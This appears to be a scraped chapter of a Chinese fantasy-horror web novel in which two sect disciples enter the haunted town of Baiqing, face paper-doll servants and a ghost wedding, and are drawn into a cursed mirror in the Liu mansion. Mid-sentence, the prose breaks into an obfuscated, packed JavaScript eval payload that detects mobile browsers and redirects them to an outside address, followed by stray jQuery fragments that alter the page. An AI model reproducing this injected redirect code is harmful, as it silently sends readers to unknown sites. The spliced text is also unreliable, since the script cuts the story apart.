绛雪雪雪 作品

9.白清镇·红绡怨(一)

    *


    暮色初合时,檐角风铃将最后一缕夕阳摇碎在青石板上。


    沿河吊脚楼的木窗次第亮起暖黄,炊烟从鱼鳞瓦间游出来,与河面升腾的雾气缠作青灰色的绦带。


    穿着蓝布衫的老者倚着门框打盹儿,竹匾里晒着的陈皮在晚风里窸窣翻动,巷尾飘来酒酿混着桐油的气味,像首绵延百年的摇篮曲。


    暗红灯笼在头顶摇晃,映得水面波纹如同老人脸上的褶皱。


    浣衣妇的棒槌声早已歇了,唯有乌篷船缆绳轻叩木桩的笃响,应和着茶楼里飘出的评弹尾音。


    转角处槐树垂下半帘阴影,树根隆起处有道新裂的沟壑,露出底下惨白的墙灰。


    卖糖画的驼背不知何时收摊了,青石板上残留的糖稀泛着诡异的油光,倒映出飞檐翘角上空盘旋的鸦群。


    浓雾漫过青石牌坊时,有身影隐隐绰绰地晃动,雾气中浮现出“白清镇”三个鎏金大字。


    “这就是真正的白清镇?可是为什么只有我和你在这儿?”颜妤站在牌坊下面,探着头往入口看,“而且我的衣服怎么换成这么白的……”


    看来是又要分开做任务了,颜妤小小地叹了一口气。


    “我们接下来怎么办?”陆明轩傻乎乎地问。


    “当然是混进柳府了!传闻有多不靠谱我们在轮回境的时候就已经体会过了,这次一定要真听真看真感受……”颜妤眉目飞扬,漂亮得像只狡黠的小狐狸。


    颜妤话音未落,戏台方向突然传来清脆的铃铛声。


    层层叠叠的幔帐间,忽然飘出个穿红肚兜的纸人童子。


    那纸人两颊涂着夸张的胭脂,嘴唇鲜红似血,手中还捧着个鎏金托盘。


    “贵客临门——”,纸人咧开嘴,喉间发出老妪般沙哑的声音,“柳夫人请二位过府一叙。”


    陆明轩后退半步踩进水洼,溅起的泥点沾在月白色的衣摆上:“这纸人……在说话?”


    “嘘。”颜妤剑尖轻挑,碎星剑的寒芒映得纸人面上的油彩泛起青光。


    那托盘里躺着两枚玉坠,雕作并蒂莲的样式,花蕊处隐约可见符咒流转。


    纸人忽然咯咯笑起来,脖颈发出纸张摩擦的窸窣声:“夫人说,这是给表少爷和表小姐的见面礼。”


    话音未落,戏台藻井上积年的灰尘簌簌而落,待雾气稍散,哪里还有纸人的踪影。


    颜妤拈起玉坠对着天光端详,俏生生的并蒂莲背面赫然刻着“柳月婵”三字。


    陆明轩那枚上面刻的是“柳承嗣”,笔锋凌厉如刀刻。


    懂了,高级剧本杀。


    得,这下不用混进去了,身份都摆出来了,直接进去就可以了。


    “看来这柳府早就备好戏台等我们登台了。”她将玉坠往腰间一系,“走,去会会这位柳夫人。”


    柳府的宅子位于镇子中央,是整个白清镇上最气派的标志性建筑,非常好找。


    转过三条长街,雾气逐渐浓得化不开。


    青砖墙缝里渗出黏腻的液体,沿着墙根蜿蜒成暗红色的溪流。


    陆明轩刚要俯身查看,颜妤一把扯住他后领:“仔细看。”


    浑浊的水面上,映出与他们动作相反的倒影。


    颜妤分明站在原地,水中人却在缓步后退;陆明轩正在抬手梳理鬓发,倒影却将手伸向腰间储物袋。


    “镜面倒影……”颜妤若有所思地望向镇中央高耸的飞檐,“柳府的镇宅古镜。”


    浓雾深处传来阵阵唢呐声。


    十六个纸人轿夫抬着喜轿踏雾而来,惨白的脸上描画着夸张的笑靥。


    轿帘被阴风掀起一角,露出新娘绣着金线的红盖头,流苏穗子下垂着枚与颜妤腰间一模一样的玉坠。


    陆明轩突然捂住心口:“妤妤师妹,我有点喘不上气……”


    颜妤转头一看,陆明轩脖颈上青筋暴起,那枚刻着“柳承嗣”的玉坠正泛着幽幽绿光。


    她当机立断并指为剑,在陆明轩眉心划出道清心咒。


    符光没入皮肤的刹那,玉坠"啪"地裂开道细缝。


    “好厉害的魇术。”颜妤将玉坠攥在掌心,碎星剑嗡鸣着划出结界,“这玉坠在吸食生气,柳府怕是养着不得了的东西,师兄,小心些。”


    轿中伸出一只缠满红绳的手,苍白得几近透明,透过掀开的轿帘,颜妤猝不及防的和新娘对视。


    腰间一紧,她低头看见三根红线不知在何时缠上她的裙裾,线头居然是从自己那枚玉坠中钻出来的!


    “天地玄宗,万炁本根——”剑光暴涨如银蛇,少女清澈的声音干脆动听,红线应声而断。


    断开的线头在半空扭动着化作小蛇,却在触及碎星剑气的瞬间灰飞烟灭。


    下雨了。


    轿中传来幽幽叹息,纸人轿夫齐刷刷转头。


    描画的笑脸在雾气中扭曲成哭泣的表情,眼角朱砂混着雨水淌下血泪。


    身后传来苍老的女声:“表小姐怎么在此处?吉时将至,夫人该等急了。”


    回头望去,是个穿着赭色比甲的老嬷嬷。


    她左手提着白纸灯笼,右手撑着油纸伞,伞骨上密密麻麻贴着黄符。


    最诡异的是,老嬷嬷的瞳孔泛着死鱼般的灰白,脖颈处有一圈细细的缝合线。


    陆明轩刚要开口,颜妤虽然悄悄但用力地掐了他一把:“嬷嬷见谅,我与表兄初到贵宝地,被这十里红妆迷了眼。”


    “表小姐说笑了。”老嬷嬷咧开嘴,露出漆黑的牙龈,“这是给二少爷准备的冥婚仪仗,您若是喜欢,今夜子时祠堂开镜时,老奴带您去瞧个新鲜。”


    啊啊啊啊啊冥婚!


    出现了,原著从未提过的情节!


    累觉不爱,再也不想提起这个破剧本。


    面上一派冷静甚至还挂着笑的颜妤内心已经变成尖叫鸡。


    旁边的陆明轩瑟瑟发抖。


    纸轿悄无声息地消失在浓雾中,如同出现之时。


    老嬷嬷的灯笼骤然变得明亮,幽幽的绿光映出前方华丽的朱漆大门。


    可门楣上“柳府”二字的金漆却斑斑驳驳的,铜门环铸成饕餮吞日的形状,獠牙间还残留着暗褐色的污渍。


    跨过门槛的刹那,颜妤耳畔响起细碎的私语声。


    回廊转角处,几个丫鬟捧着妆奁匆匆走过,绣鞋踏在青砖上竟没有半点声响。


    领头的丫鬟忽然转头望来,颜妤赫然发现——她们都没有影子。


    “夫人正在灵堂诵经。”老嬷嬷推开雕花木门,阴风裹着纸钱扑面而来,“表小姐请。”


    灵堂正中悬着层层叠叠的素纱,纱幔后隐约可见鎏金色的棺椁。


    棺椁半开着,里面的人呼吸虽然很微弱,但并没有达到几不可闻的地步。


    谁这么倒霉抽到这个角色啊。


    供桌上的长明灯忽明忽暗,将跪在蒲团上的身影拉长到扭曲。


    那人转过身时,颜妤呼吸一滞——柳夫人与刚刚纸人抬的轿子中那个新娘生得一模一样!


    “月婵来了。”柳夫人腕间翡翠镯子叮咚作响,苍白指尖抚过颜妤腰间玉坠,“这并蒂莲还是这般鲜亮,倒衬得祠堂这些死物愈发晦气了。”


    然而在看到颜妤身后的陆明轩时,她的态度显而易见的冷落下来,“承嗣也到了。”


    颜妤笑着应声,顺势靠近那尊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232716|165895||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    棺椁。


    陆明轩闷哼一声,颜妤余光瞥见他袖口渗出暗红。


    供桌下的阴影里,数条红线正顺着地砖缝隙,轻缓地缠上他脚踝。


    而柳夫人身后的铜镜中,映出截然不同的场景——棺椁变成贴着囍字的朱漆木箱,素色的长纱化作红绸,长明灯里跃动着幽绿的鬼火。


    柳夫人脸上绽出一抹笑容,嘴角咧到耳根,嗓音像是磨破的风箱:“月婵,去吧,只有通过考验,才能获得留在主家的资格,这可是你自己求来的呢。”


    铺天盖地的眩晕感袭来,颜妤安静地等着场景转换——她习惯了。


    *


    月光像惨白的裹尸布,随意地蒙在雕花窗棂上。


    老嬷嬷的绣鞋踏在青砖上,每一步都渗出腥黄的液体。


    廊下青铜风铃无风自动,暗红流苏扫过颜妤后颈时,她听见女子压抑的啜泣。


    “表小姐当心台阶。”老嬷嬷手中的灯笼倏地熄灭,伞骨上的黄符簌簌剥落。


    陆明轩的惊呼卡在喉咙里——借着残月微光,他们看见祠堂门前两尊无头石雕,断裂的脖颈处爬满青苔,而本该摆放香炉的供桌上,立着颗风干的头颅。


    啊啊啊啊啊导演我不演了换个频道啊喂!


    颜妤的碎星剑骤然出鞘,剑光照亮供桌下方蜿蜒的血迹。


    那些暗红痕迹如同有生命般,正顺着地砖缝隙朝他们脚下汇聚。


    凝聚成团的黑雾从那堆暗红色中“脱颖而出”,扑进陆明轩怀里。


    “要命要命要命……”陆明轩拼命甩手,那黑雾却如同附骨之疽般钻进皮肤。


    供桌上的干尸头颅不知何时已经睁开空洞的眼窝,下颌骨咔哒作响:“吉时……吉时……”


    吉时在什么时候,吉时怎么了,你倒是说啊!


    结巴什么!


    祠堂大门轰然洞开,腕间绷直的红线拽着她踉跄跌进漆黑的门洞。


    陆明轩的惊呼被掐断在喉咙里,因为此刻,整座祠堂的梁柱都渗出粘稠的血珠,淅淅沥沥地往下掉。


    而那些悬挂在房梁上的祖宗画像,正在以肉眼可见的速度褪色成空白。


    “别看画像!”颜妤挥剑斩断缠住陆明轩脚踝的蛛丝,剑锋划过青砖迸出火星。


    借着这点微光,她看见四面墙壁上密密麻麻地贴满了黄符,可那些朱砂符文正如雨水般向下流淌。


    最诡异的是祠堂中央那面等人高的铜镜。


    镜面倒映出的他们穿着大红色的喜服,而现实中,纯白的衣摆正在逐渐染上血色。


    老嬷嬷的笑声从四面八方传来:“表小姐好眼力,这镇宅宝镜照的是三刻后的因果呢。”


    铜镜浮现出细密裂纹,镜中影像开始扭曲。


    穿着嫁衣的颜妤正在将匕首刺入陆明轩心口,而真实的陆明轩突然捂住胸口跪倒在地,月白长衫当真晕开点点猩红。


    供桌上的干尸头颅滚落在地,空洞的眼窝里钻出两条碧色小蛇,嘶嘶地朝着陆明轩游去。


    陆明轩消失在原地。


    颜妤咬破指尖,在剑身上画出血符,碎星剑的清辉与祠堂弥漫的黑雾相撞,于虚空之上灼烧出焦痕。


    长风尽起,铜镜表面如水面般漾开波纹,无数苍白手臂自裂纹中探出。


    颜妤足尖轻点腾空跃起,却正巧撞进镜中伸出的红绸漩涡。


    凛冽阴风裹着檀香灌入口鼻,纤细的女孩儿自半空而下,顺势向前跌落。


    她身边墨色翻涌,在阴森诡谲的环境里,唯有这一抹亮白色悄然出现,鲜妍明亮,就像一道从天而降的光。


    穿过重重叠叠的阴气,颜妤掉进一个蜜桃味的怀抱。